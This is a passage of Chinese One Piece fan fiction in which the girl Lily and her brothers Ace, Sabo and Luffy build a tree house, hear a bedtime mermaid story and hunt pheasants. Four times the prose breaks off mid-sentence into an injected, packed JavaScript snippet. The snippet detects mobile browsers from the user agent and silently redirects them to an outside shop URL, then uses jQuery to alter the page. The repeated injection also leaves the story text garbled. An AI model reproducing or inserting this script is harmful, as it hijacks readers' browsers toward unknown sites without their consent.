提示是哥尔·D·罗杰的话,艾斯想听的话难道是——“你爸爸好厉害,居然是海贼王呢”?不对不对,萨博说过艾斯讨厌罗杰。那——“你和你爸爸长得完全不像诶,你比他可爱多了”?其实他们长得很像,眉眼和鼻子简直一模一样。真不希望艾斯以后留胡子,罗杰的胡子看起来好邋遢,总觉得他身上臭臭的。我想要艾斯一直都是甜甜的桃子味。 “说起来卡普爷爷身为海军中将,居然养出了一个海贼王儿子,他哪里来的自信想把我们都培养成海军啊。” 艾斯用“你在说什么鬼话”的眼神看我:“那个人怎么可能是老头子的儿子!” 我竖起左手的食指,说:“你和路飞是卡普爷爷的孙子。”又竖起右手的食指,说:“罗杰叔叔是你和路飞的爸爸。”然后把左手和右手的食指交叉,总结道:“所以卡普爷爷是罗杰叔叔的爸爸。”我歪过头看向表情逐渐变得扭曲的艾斯,问他:“这样的逻辑有哪里不对吗?” “路飞才是老头子的亲孙子,我和他们两个都没有血缘关系。”艾斯抬手捂住额头,看起来很头痛的样子,“莉莉,你连这个都不知道吗?” “啊,路飞他不是你的亲弟弟,你也不是卡普爷爷的亲孙子?等等,我捋一下哦……”我两眼转圈,停顿了好几秒整理思路,“达旦是你的养母,卡普爷爷是你的养,养爷爷?而且卡普爷爷和达旦没有血缘关系,是朋友关系……一个孩子还能被收养两次吗?你这边的亲属关系也太乱了吧!” “你以为我愿意吗。”艾斯的脸色更加阴沉了。 他相当介意自己的身世呢。 【莉莉,一旦你知道我流着谁的血,背负着怎样的仇恨来到这个人世,我一直以来隐藏的真面目……】 【就算全世界的人都不承认我的存在,即使他们都痛恨我,我也要成为大海贼,让他们刮目相看!】 想起艾斯之前说过的话,我突然意识到艾斯一直以来都认为自己是被世人怨恨着的,因为他是海贼王罗杰的儿子。 理智上我明白被世人厌恶是一件很沉重的事,情绪上我却不太能确切地体会。一方面,我不是当事人;另一方面,对于我来说,世界就是萨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222192|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 博、艾斯和山贼们,哦,现在还要加上路飞。其他人对我来说更像是森林里的鹿群,大海里的游鱼,我会欺负他们,和他们玩耍,却并不关注他们对我的看法。 我们本来就是恶童,品德败坏,个性恶劣,普通人厌恶我们不是理所当然的事情吗?不过话又说回来,艾斯这个家伙脑子里只有一根筋,年纪又小,性格还别扭,平时完全不和我们之外的人交流,他对自己的父亲和身世耿耿于怀也不是什么奇怪的事情。 我仰着头注视艾斯的黑眸,心里想:一定要让这个家伙得到很多很多的爱才行。只有我爱他是不够的,加上萨博、路飞、卡普、达旦还有山贼们也不够。我不想他像我一样,用漫长的时光和破碎的泪水一点点治愈自己,最终放弃一般释怀过往。 我想要艾斯能够一直开心地笑着,一直被灿烂的光辉照耀着,一直被温暖的爱意包围着,去经历森林和垃圾场之外的人和事,去追寻自己真正的梦想,成为……成为什么人都可以。当有一天他回望童年,他会坦率地谈到当时的迷茫和痛苦,然后和朋友们一起欢笑。 眼睛被捂住了,黑暗的世界里传来艾斯带了些羞赧的声音:“喂,我说过了吧,别总这样看着我……” “是因为我的眼睛会说‘我爱你’吗?”我笑嘻嘻地问。 捂住我眼睛的手掌像是被烫到似的颤抖了一下,又在下一秒捂得更紧。我的眼珠子都能感受到他皮肤下的指骨了。 我向着艾斯的方向举起双手,用轻快的语音继续开口:“要抱抱。” 听见我的话,他下意识上前一步,然后立刻停住自己的动作,懊恼地“啧”了一声,凶巴巴地吼我:“不许老是莫名其妙对我撒娇!” 装凶,谁会害怕啊。我努力伸长手,提高音量再一次重复:“我要抱抱,笨蛋哥哥!” “麻烦死了,你这个家伙,一天不是要抱就是要背的,你长脚有什么用!”艾斯一边烦躁地抱怨,一边把我抱起来,还不忘初衷,将我的脑袋牢牢按住,不准我抬头看他。 我环住他的脖子,靠在他肩膀上嘿嘿直笑:“艾斯,我超级超级爱你哦~” 咿,难道他想听的是这句话吗?早说啊,我能一天说三千遍! “……” 没有听见艾斯的声音,我试图抬头去观察艾斯的表情,被他毫不费力地镇压,只能不服气地嘟起嘴:“所以你的回应呢?” “……”他依然保持着沉默,我只听见了他不稳的呼吸声。 我应该不至于一辈子都听不到艾斯对我说“我喜欢你”“我爱你”之类的话吧?明明我、萨博和路飞经常互相说这种亲密的话,只有艾斯一个人打死都不用言语来表达爱意,这个家伙的嘴是真硬啊。 “莉莉……” 诶,他难道终于想通了,打算回应我了?我兴奋地竖起耳朵,认真聆听艾斯的声音。 “今天要吃烤鱼吗?” “???”转移话题的技术好烂!但是——“要!” 烤鱼和艾斯的“我爱你”对我来讲都很重要,哎嘿。 39.猴群和睡前故事 抓完鱼回去的路上,我们遇到了认识的猴群。自从两年前艾斯猴口夺食,抢了大猴子们专门给幼崽准备的蓝桃子之后,猴群就一直对艾斯很有意见,见了他就往他身上砸果子。 艾斯当然不会乖乖忍受大猴子们的水果轰炸,当下便扔掉背后装鱼的藤网,爬到树上和大猴子们大打出手。他们在树枝之间跳跃追逐,我和小猴子们就跟在他们后边捡果子,一边捡一边啃,时不时交换各自喜欢的水果。有只才出生几个月的小猴子还没吃过鱼,吱吱叫着想要尝一口味道。我挑了一条没什么刺的小鱼在胸口垂着柔软乳\\房的猴妈妈那边晃了晃,见她没有反对,把鱼递给了小猴子。 小猴子啃了一口,砸吧着嘴巴品了品味道,对我龇牙,意思是味道还不错。 “烤熟之后会更好吃哦。我们最近搬到那边的林子里啦,你们要是想吃烤鱼可以过来。”我看了一眼前方和大猴子们扭打在一起的艾斯,满天飘飞的猴毛,无奈地补充,“别带上那几只。” 大猴子们被艾斯打得鼻青脸肿,艾斯也被他们砸了满头满身的果子,头发和衣服上到处都是黏答答的果汁。大猴子们骂骂咧咧地跳过来拎走小猴子们,将没有扔完的果子全都抛进我怀里;艾斯捡起地上的藤网重新背上,黑着脸从我怀里拿了个果子啃,恶声恶气道:“这群可恶的猴子,我迟早要把他们的猴毛全部拔光!” 我憋住幸灾乐祸的表情,对远去的猴群挥了挥手:“再见,下次一起玩哦。” 猴群们尖啸了几声回应我,也对我挥了挥手。 * “萨博,路飞,我们回来啦!” “好慢啊,你们。”萨博的声音因为饥饿显得很虚弱。他蹲在已经有了大致轮廓的树屋底部框架旁边仰头看过来,目光在艾斯头发上粘着的果肉碎片和艾斯衣服上红红绿绿的果子汁水以及我怀里的各色水果之间游移了一圈,眼中闪过了然。他握拳抵在唇边,发出一声闷笑:“看来你们遇上猴群了。” “终于可以吃晚饭啦!”路飞丢下小锤子跑过来,从我背后接过装鱼的藤网,精神头十足。 我看了眼萨博,心里纳闷,我原以为路飞才是那个因为吃得太少快要饿死的人呢。“中午不是还预留了一些食物吗,你怎么饿成这样?” “一不小心就被路飞全吃掉了……”萨博郁卒地叹了口气。 艾斯对刚才嘲笑自己的萨博没有丝毫同情,嘴角恶劣地上扬:“这可能就是报应吧,萨博。” “什么报应?”我疑惑地看看萨博又看看艾斯,“你们在说什么?” 萨博开始咳嗽,艾斯扭过了头装作没听见我的话。 这两个人又有事情瞒着我!是谁口口声声说我们之间不该有秘密,双标的骗子!我对着他俩哼了一声,在行李里翻出一把小刀,跑去和路飞处理食材。 吃过晚饭,森林彻底陷入了黑暗。萨博将一块松脂放进煤油灯中点燃,借着不甚明亮的火光和艾斯、路飞一起在之前避雨的树洞里铺木板,打算在这里拼出一张简单的木板床。 我和艾斯出去找食物的时候,萨博和路飞已经预先处理过树洞了——他们点燃了几块不太干燥的木头,用浓烟熏走了树洞里的其他住客。 修建树屋是个大工程,几天时间肯定干不完。这段时间我们都需要住在这个树洞里。树洞是森林里天然的庇护所,除了人类幼童,小动物和昆虫们也喜欢栖身其中。如果不做预防措施,等我们三个睡着的时候,老鼠和蜈蚣就会从黑暗里爬出来狂欢。 我拿出路上采集的香茅,将它们编织成门帘。香茅有驱虫的作用,可以防止虫子们再次回来。编好门帘后,我把门帘交给了萨博和艾斯,让他们用钉子固定在树洞上方,继续我的编织工作,这次要做一个小篮子。回来的路上我看到了一大片树莓丛,明天我打算去摘树莓吃。 “这个是什么,莉莉?”路飞拿起一根香茅闻了闻味道,好奇地问。“今天的烤鱼肚子里也塞了这种叶子,香香的,我喜欢这种味道。” “这个是香茅,可以去腥,也可以用来泡水喝,还能驱除蚊虫呢。”我从剩下的香茅中选出几根柔嫩的叶片,顺手给路飞编了只蜻蜓玩。 路飞仔细研究了一番掌心里的香茅蜻蜓,抬起头一脸钦佩地望着我:“做得真好看,莉莉你好厉害哦!” 虽然路飞这个家伙不听人话又超级贪吃,但他天天都有在热忱真诚地佩服我、夸我,情绪价值拉满,还会陪我玩萨博和艾斯不愿意陪我玩的过家家游戏,简直是世界上最棒的玩伴。我凑到路飞耳边和他说悄悄话:“路飞,明天帮我一个忙,在树屋那边……” “没问题,包在我身上!”路飞拍着胸脯痛快地答应。 萨博和艾斯装好了香茅门帘,掀起帘子走进来,分别走向最左边和最右边的被褥——中间的位置铺着我和路飞的被褥。 “莉莉,明天再编吧,光线太暗了,对眼睛不好。”萨博拍了拍他旁边铺好的被褥,招呼我过去,“现在该睡觉了哦。” “来啦。”我应了一声,和路飞交换晚安吻,又侧过身体亲了一口旁边的艾斯,和他说晚安,然后爬过路飞的腿,钻进我的粉色小被子里。 萨博俯下身替我整理被子,亲了亲我的侧脸,柔声问我:“今天想听什么故事呢?” 我伸手环住萨博的脖子,本来想亲他的脸颊,没留神亲到了他的嘴角。我嘿嘿一笑,重新亲了一口他的脸颊:“今天想听小人鱼的故事,上次你讲到小人鱼救了王子以后就睡着了。——哥哥?”他为什么不说话,是不是忘记这个故事了? 路飞不高兴地嘟起嘴:“莉莉,你亲了萨博两下诶!” “好啦好啦,再给你补一下,干嘛老计较这些细枝末节的事情。”我松开萨博的脖子,想要爬过去亲路飞。 萨博把我按回被子里:“都已经给你盖好被子了,乖乖躺好,不要再乱动了。——路飞,你也把被子盖好,小心感冒。” “哦——”路飞拖长尾音,不是很情愿。“莉莉你记得明天要多亲我一下。” “知道啦。”我老实待着不动了,不忘催促萨博,“哥哥快点讲故事。” “等我回忆一下后面的情节。”萨博沉吟了片刻,开始讲接下来的故事。 “小人鱼把王子拖上了岸,在月光下打量着王子沉睡的面容,觉得他比自己见过的所有人都要美丽。她感觉脸颊发热,喉咙里像是燃起了一团火焰,这团火焰落进她的胃里,又跳进了她的心脏,烧得她整个人都在颤抖。 这就是爱情吧,小人鱼想。我爱上了一个人类,如果万幸他也爱我,我就会从他的爱里获得一个永生的灵魂。这是多么美好的事情呀。但是我是一只人鱼,要怎么和人类相恋呢?小人鱼苦恼地皱起眉。 就在这时,狗吠和人声从海滩的另一侧传来,小人鱼从幻想中惊醒过来,慌忙躲到礁石后。她看见一位衣着华丽的公主正带着她的猎犬和仆人们走向这里。 他们发现了躺在沙滩上的王子……” “哥哥们为了救回小人鱼,在海底和巫婆大战一场,终于逼问出了消除小人鱼身上诅咒的办法。他们浮上泛着洁白泡沫的海面,最大的那个哥哥将一把锋利的匕首交给了小人鱼,告诉她只要用这把匕首刺穿王子的心脏,喝下他的心头血,她就能从人类重新变回人鱼。最小的那个哥哥开心地补充,这样她就能回到他们身边,不会在天亮后变成泡沫了。 小人鱼看着伤痕累累的哥哥们,愧疚得直掉眼泪,答应他们自己一定会杀了王子,变回人鱼,回到大家身边。趁着夜色,她战战兢兢地躲过卫兵们,潜入了王子的卧室。她看到她心爱的人儿正躺在柔软洁白的大床上安睡……” 我等了半天,萨博都没有再说话,我只听见了他平稳的呼吸声。 不是吧,萨博又在这种时候睡着了!我咬住小熊玩偶的耳朵,在被子底下猛踹了好几脚,喉咙里发出生气的呜呜声。 “小人鱼杀掉了王子,从此和哥哥们过上了幸福快乐的生活。”艾斯突然开口,补上了故事的结局。他困倦地打了个呵欠,话音里带着浓重的睡意:“别发脾气了,赶紧睡觉,这种无聊的故事有什么好听的。” 哼,如果你真的觉得无聊,早就和路飞一样睡得人事不知了。 我琢磨了一下艾斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14250394|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 版本的大结局,感觉挺合理的。王子的命本来就是小人鱼救的,既然他不爱她,不能让小人鱼拥有一个永恒的灵魂,还会让她变成海上的泡沫,那王子活着还有什么用。当人鱼多快乐啊,大海里乐趣那么多,何必追求灵魂的永生呢。死后彻底消散就消散呗,反正人鱼有好几百年可以活呢。 我心满意足地蹭了几下软软的枕头,怀着对大海的向往闭上了眼睛。 * 清晨的森林大雾弥漫,树叶和草叶上滚动着一颗颗晶莹的露水。 我将水汽汇聚到一起,形成一团漂浮在空中的迷你湖泊。等萨博从我的迷你湖泊里接了两桶今天需要的用水,我往上一跳,钻进迷你湖泊,在里面快乐地游泳。 “我也想玩。”路飞仰头看着我,露出羡慕的神色。 我吐出几个泡泡:“你太重啦,会从水里掉出来的。” “莉莉——”路飞眼巴巴地瞅我。 他为什么那么像摇着短尾巴的可爱小狗啊,这谁顶得住。我降低了迷你湖泊的高度,让它靠近地面,妥协道:“好吧,给你玩一下。” “莉莉你真好!”路飞欢天喜地扑进迷你湖泊,下一秒眼神涣散,无力地倒向地面,“没有力气了……” 艾斯抓住路飞的后领,没有让他真的跌到地上,若有所思:“看来恶魔果实能力者不只是被大海厌弃,变成旱鸭子那么简单。” “嗯,不管是海水还是淡水,只要水淹过胸口,我就会没有力气。”路飞蔫巴巴地点头。 萨博打量了一下直径足有2米的迷你湖泊,好笑地说:“你这不是很清楚自己的弱点嘛。” “因,因为看起来很好玩……”路飞最开始有点心虚,说到后面变成了不甘心。大概是力气恢复了,他的音量也变回了原本的高亢:“我要再试一次!” “嗷,还是不行……” 一开始萨博和艾斯还会分神留意路飞的情况,发现他最多只是跌到地上滚得一身泥巴后就懒得管他了。 “这里好像长了芋头,艾斯。”萨博走向一丛枯黄的茎叶。 艾斯跟过去观察了一下茎叶的状态:“已经成熟了,挖出来当早饭吧。”他和萨博一起在芋头丛前面蹲下,研究要在哪个地方开始挖。 迷你湖泊被路飞弄得脏兮兮的,我不想泡在脏水里,从里面跳了出来。 泥人似的路飞从地上爬起来,伸手指了指自己湿哒哒的头发和衣服:“莉莉帮我。” “路飞,你害得我也没有水可以玩了。”我鼓起脸,一边不高兴地抱怨,一边驱散他身上的水份。 路飞嘿嘿一笑:“谢谢!”他把脏兮兮的脸蛋凑到我面前,话音里既有讨好又有期待:“你累不累,要不要我来背你呀?” “不要,你好脏!”我大声拒绝,嫌弃地退后了好几步。 “有什么关系嘛,反正今天是洗澡的日子。来嘛,我可以用橡胶弹弓带你飞到天上哦,可好玩了。” “我自己会飞,不需要你……啊啊走开走开,不要过来!” “来玩嘛来玩嘛~” 我和路飞用萨博和艾斯当障碍物,绕着他们你追我逃。跑到后来,路飞都忘了为什么要追我,他做了个暂停的手势,又圆又亮的眼睛里闪烁着兴奋和快乐的神采:“我都追你这么久了,现在轮到你来追我啦,莉莉。” “哈哈,那让你先跑三秒钟。” “烦死了,你们俩个!”艾斯抬头瞪我和路飞,“不要在这里碍手碍脚!” 我赶紧掉头往回跑:“路飞快逃,艾斯变成怪兽了!” “莉莉你先走,我来掩护你!”路飞瞬间入戏,张开双臂挡在我面前,一副准备英勇就义的样子。 艾斯额头上的青筋一跳,他握着拳头站起身。 “砰!” “砰!” 我和路飞流着眼泪倒在地上,一人头上冒出一个红通通的大包。 萨博看着我们的惨状笑了好几声,他指向右边的森林,“那边有雉鸡的叫声,既然你们这么有精力,不如去抓几只雉鸡回来。今天早饭还没有着落呢,你们也不想饿着肚子干活吧?” 40.她和花环[番外] 镇上的流氓们将小小的艾斯团团围住,每个人脸上都带着厌恶愤恨的神情。 “如果罗杰有个孩子?哈哈哈,要是有那种家伙可就麻烦了。” “那家伙是连出生和存活都不被允许的魔鬼啊!” 他们张着一口浊黄的牙齿仰头大笑,似乎已经把他们嘴里的一系列刑罚——“砍头”、“割喉”、“用一千根针扎进身体”施加到了那个不存在的魔鬼之子的身上。 不,那个魔鬼之子是存在的。 此时此刻,就站在他们的面前。 艾斯分不清楚自己的心情是无措,惊惶亦或者愤怒。没有源头的仇恨淹没了他,他在其中挣扎沉溺,渐渐无法呼吸,浓郁的黑暗席卷而来。 意识是混沌的,偶尔夹杂着一片飘洒的血红。 等艾斯清醒过来的时候,酒吧里的流氓们已经全部倒在了地上。边镇的保安官在远处吹响召集同伴的哨子,艾斯逃离酒吧,在人们警惕嫌恶的注视下跑出边镇大门。他穿过雾气缭绕的垃圾山,犹如撕裂牢笼的野兽,毫不留恋地回归危险而广阔的森林。 这段路途的终点是哪里呢? 他不太清楚,总归不是那个破破烂烂的山贼小屋。 森林是热闹的,总有鸟儿在枝头鸣叫,三三两两依偎在一起,偶尔在空中追逐嬉戏;灌木丛中藏着各种各样的小动物,艾斯偶尔能从灌木间窥探到一截毛茸茸的尾巴或者一双圆溜溜的大眼睛。但森林又是死寂的,当他走近这些热闹的地方,鸟兽四散,只余晃动的枝叶。 艾斯有时候会忍不住想:你们也厌恶着我的存在吗? 他仰望头顶被树木枝干分割成无数碎片的天空,又环顾四周,目之所及全是一棵棵巨大茂盛的树木。艾斯感到迷茫,他好像可以去任何地方,又好像哪里都去不了,只要他身上流着魔鬼的血,只要他是罗杰的儿子,就不配好好行走在这个人世间。 他是被诅咒的魔鬼之子。 父亲是被世人唾骂的魔鬼,一出生就夺走了母亲的性命——那个无辜的女人是被罗杰和他联手杀死的。 艾斯漫无目的地走了很久,突然看见有一束自树顶落下的阳光。 灿烂的光晕中,头戴着花环的金发男孩和黑发女童相视而笑。春风吹拂过他们的发梢,阳光勾勒出他们的轮廓。在那两双眼睛中,是快乐欢欣只有彼此的世界。 处于树荫下的艾斯不知道该怎么形容那一刻的感受,他模糊地意识到那是一种与他的人生完全相反的东西。 金发男孩警觉地捕捉到了艾斯的视线,下意识挡在黑发女童的身前。看清楚艾斯的面容后,金发男孩重新扬起笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258255|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容:“艾斯,终于等到你了。” 艾斯不自觉地退后了一步,随后他抿紧唇,缓慢谨慎地走进那团灿烂的光晕之中。 “萨博,你怎么带了个小丫头过来?”他听见自己冷漠的声音。 * 把萨博捡回来的小丫头交给达旦照看后,艾斯再次出发,寻找可以当做晚饭的猎物。 刚才那个小丫头摸了两下自己的脑袋,发现自己的花环不见了,露出一副沮丧失落的表情。他甚至在她的眼底看到了闪烁的泪光。 真是个没用的爱哭鬼。 看到他大声对萨博说话会哭,看到他的伤口会哭,连一个无关紧要的花环掉了也会哭吗? 艾斯一边想着这样的家伙一定会很快死掉,一边鬼使神差地原路返回,试图找回那个会让她掉眼泪的花环。 最后找是找到了,就是被野猪啃得面目全非,只剩残骸。 艾斯站在死掉的野猪前面犹豫了一会儿,俯身把花环的残骸捡了起来。 残破的花瓣依然维持着娇嫩莹润的触感,和她的肌肤很像。 如果她继续留在戈尔波山,大概就是这样的下场。 算了,这种东西带回去干什么。 我到底在干什么?艾斯突然间开始怀疑自己。我为什么要在意她会不会哭? 41.雉鸡和凤仙花 我和路飞循着萨博提到的叫声悄悄摸过去,果然在树荫下发现了一群正在觅食的雉鸡。鸡群中最显眼的是一只雄性雉鸡,他的体型最大,红脸绿颈,颈部与胸脯连接的地方生长了一圈白色的羽毛,再下面是深浅不一的棕色和橘色羽毛,羽尾点缀着或白或黑的小圆点,看起来漂亮极了。其余的雉鸡都是雌性,她们的羽毛是泥土一样不起眼的黄棕色,体型也小了雄性整整一圈。 我找了个茂密的灌木丛拉着路飞藏进去,压着声音和他商量:“我们先抓公的那只吧,我想用他的羽毛做毽子。” “好呀,看我的!”路飞说完话,不给我一秒准备的时间,双手拉住两根灌木的树干,往后倒退了十多步,“咻”一声弹射向那只漂亮的雄性雉鸡——他重重撞在了距离雄性雉鸡还有半米远的大树上。 雉鸡群受到惊吓,慌乱地拍打着翅膀四散而逃。 你在搞什么!我被路飞的操作惊呆了,在原地傻傻站了好几秒才跑过去扶他,查看他脑袋的状况:“你没事吧,头痛不痛?” 路飞两只眼睛转着蚊香,晕乎乎地回答:“不,不痛,因为我是橡胶人。” “可是艾斯揍你的时候你也哭了诶。” “那是因为艾斯的拳头很硬嘛,爷爷也是这样,拳头硬得像铁锤一样,揍人可痛了!” 艾斯和卡普的拳头很硬我知道,毕竟切身体会过无数次了,但是按照路飞自己说过的橡胶特质推断,拳头的打击明明和撞击一样都是无法伤害到他的攻击类型才对。我歪过脑袋思考了一会儿,越想越迷茫,总觉得这个能力有奇怪的BUG。算了算了,想那么多干嘛,关键是雉鸡都跑了!我的早饭和毽子跑了! “路飞快追,他往那边逃了!” 波尔波山深处的树木和灌木都很密集,不适合展开羽翼进行追击,我只能和路飞一起在地上用双腿奔跑。一口气追了十多分钟,我们总算追上了逃跑的雄性雉鸡。我们还是像之前一样找了个隐蔽的地方藏起来,这一次我先按住路飞,警告他不许再乱用自己不成熟的橡胶招式。 我仰高下巴,神气地说:“给你演示一下,怎么简单高效地狩猎雉鸡。” 第一步,用附近的藤蔓编出一张藤网。 第二步,找到一片和雉鸡隔着一定距离的空地,铺上藤网。我嘱咐路飞在树后躲好,看到我展开背后的羽翼就赶紧收网。 第三步,悄咪咪脱掉胖次,变成塞壬的完全形态,坐到藤网前面。浅绿深蓝的鱼鳞在阳光下闪烁着璀璨的光晕,引来雄性雉鸡的注目。我对上他那双黑豆豆似的小眼睛,轻启双唇,唱响塞壬的魅惑之歌。 这首歌没有歌词,由高低不定、犹如海浪般起伏的吟唱组成,是描绘银月洒落海面、浪花冲刷礁石、鱼群穿梭珊瑚等等海中景象的歌谣。 雄性雉鸡被歌声迷惑住心智,豆豆眼渐渐失去了焦距,呆呆傻傻地走向我。我听见周围还有其他雉鸡的叫声,没着急给路飞打信号,加大音量继续歌唱。几分钟后,四只雌性雉鸡也走出了藏身处,步入藤网的捕捉范围。 感觉时机差不多了,我展开羽翼,打出收网的暗号。 等了好一会儿,没有任何动静。我脑袋上冒出一个问号,回头看向路飞隐匿的大树——哇,他怎么在我背后! 仔细一看,这个家伙双眼无神,表情空白,显现出和雉鸡们相同的呆滞状态。 你怎么也被魅惑了?! 完蛋,现在该怎么进行最后一步?早知道路飞这么不靠谱,我就应该做个简易的机关,把收网的绳子抓在自己手里!那条本该由路飞拉动的绳子悬挂在距离我足有三米远的树枝上,我要怎么一边魅惑雉鸡群一边收网?只要我的动作幅度稍微大一点,雉鸡群就会因为受到惊动清醒过来。 没错,我的魅惑之歌只到这种程度。 我在心里大声尖叫:路飞,你为什么会被这种程度的魅惑之歌魅惑啊!你的意志力和雉鸡是一个level吗!!! 这样僵持下去不是办法,我试着在歌声里加入人类的语言,对路飞发出指令:“路飞,去大树那边。” 哦哦,他真的走过去了!这个家伙对精神系攻击完全没有抵抗力呢。 “拉下绳索,收网。” 路飞呆呆照做。 雉鸡们在藤网中挤作一团,从魅惑状态中清醒过来,开始挣扎啼鸣。尖锐的叫声惊醒了路飞,他迷惑地眨了两下眼睛,看了看藤网中的雉鸡,又看向我,茫然道:“啊咧,我刚才睡着了吗,莉莉?” 不太想理他。我用一言难尽的眼神盯着路飞看了一会儿,随后嫌弃地转开脑袋。 “你怎么又生气了?”路飞哒哒地跑过来,双手按住我的肩膀,脖子像是蛇一样伸长,绕着我缠了好几圈,不管我把头转到哪边,他都能跟上,强行和我面对面。“不要不和我说话嘛,莉莉——”路飞在裤兜里摸索了几下,掏出几个长着花朵图案、有黑绿黄三层颜色的蘑菇,“给你吃这个,我刚才在大树底下摘到的,吃了心情会变好哦。” 我瞟了一眼路飞手里的蘑菇,没敌过旺盛的好奇心,从他那里接过蘑菇,怀疑地问:“颜色好鲜艳,没毒吗?” “放心吧,没毒,我已经吃过好几次了。爷爷说这种蘑菇叫笑菇,是一种可以让人开,开嘴大笑的蘑菇。” “是开怀大笑。”我打量手心里的蘑菇,谨慎地放到鼻子底下闻了闻,确定没什么奇怪的味道,张嘴咬了一口。味道只能说一般,就是普通蘑菇的味道,但是汁水迸发的那一刻,一股不知从何而来的愉悦情绪冲上脑门,我笑得合不拢嘴。 “……”这就是中毒的反应啊!好在毒性很弱,后果也只是大笑而已。没必要和路飞解释这些,反正解释了也白解释,他只会记住自己想记住的东西。 秉持着不能浪费食物的原则,我吃完了整个蘑菇,笑得脸颊发酸:“我们带上雉鸡回去吧,路飞。” “嘿嘿,终于可以吃早饭啦。”路飞笑容满面地背起装满猎物的藤网,朝完全相反的方向迈开脚步。 我抓住他背后的藤网,阻止他继续往前:“你往那边走干嘛?” “回树洞啊。”他一副理直气壮的样子。 “回去的方向是这边啦。”这个家伙可真让人头痛。 * 吃完香喷喷的芋头炖鸡,我们四个拿上工具去到秘密基地那边,继续建造树屋的工程。 路飞爬到萨博选定的位置,伸长橡胶手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14290680|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臂将昨天搭建好的树屋底部框架往上拉;我张开羽翼飞在框架旁边,帮路飞调整框架上升的方向,避开大树横生的树枝,免得框架被它们卡住。固定框架的工作由萨博和艾斯负责,我看他们干得专心致志,完全没有精力留心其他事情,对路飞招了招手,让他到大树的另一侧帮我挖陷阱——这件事我们俩昨天已经约定好了。 有路飞的帮忙,我很快挖出了陷阱的雏形。路飞手里拿着几根削尖的木棍,面露遗憾:“真的不在坑底埋木刺吗?萨博前几天教过我怎么做野猪陷阱,他说……” “不用不用,这个陷阱不是用来抓野猪的。”我脑门流出几颗冷汗,连忙摆手拒绝。 “那你要抓什么?”路飞把削尖的木棍扔进藏泥巴的灌木丛,蹲下来在陷阱上方铺设树枝。 “鸭子。”想到某个死撑着就是不对我说“我也爱你”的笨蛋,我坏笑了一下,用草皮仔细遮盖陷阱的表面,让它与周围的地面融为一体。 “鸭子?”路飞看着直径一米、深度两米的陷阱,脸颊泛起两团快乐的红晕,眼睛闪闪发亮。“一定是一只很大很肥的鸭子吧!” “别流口水了,这种鸭子不能吃。”我从草丛里采了朵紫色小野花放到陷阱中央,留下一个标记,免得自己误踩上去,然后强行把路飞拉回堆放着废弃木材的那边,“我们先把木板切割好吧,待会儿还要带上去拼装呢。” 路飞的肩膀一瞬间垮下来,他连声音都变得有气无力的:“这个世界上还有不能吃的鸭子吗?” “有哦,等他被我骗进陷阱你就知道了。” 忙碌的时间过得飞快,一转眼已经是中午了。艾斯和路飞一队,我和萨博一队,兵分两路去森林里寻找食物。我拿上编好的小篮子,带萨博去我昨天路过的树莓丛,采了满满一篮子酸甜的树莓。萨博在树莓丛附近找到了几株红色的凤仙花,问我想不想染指甲。 “用花来染吗?”我弯曲手指,看向自己透出健康血色的指甲。 “上次去边镇的时候,我看到几个和你差不多大的小女孩在用凤仙花染指甲,就向她们请教了一下具体的方法。”萨博摘下一朵凤仙花,将鲜艳的花朵放到我的指甲旁边。他比较了一下两者的颜色,迟疑道:“唔,还是原本的颜色更漂亮。” 我因为萨博潜意识的偏爱笑了出来:“我现在忙着做木工活,狩猎,处理食物……就算染了指甲也会很快弄脏。凤仙花的花期还有好长的时间呢,等我们建好了秘密基地,到时候再来采凤仙花染指甲吧。”脑子里灵光一闪,我十指交叉放在胸口,满怀期待地看向萨博:“对了,哥哥,我们把树莓丛和凤仙花都挖回去吧,种到秘密基地下面,我想要搞个小花园!” “莉莉,你连狗尾巴草都养不活,还想……” 听了萨博的话,我不高兴地鼓起脸颊。 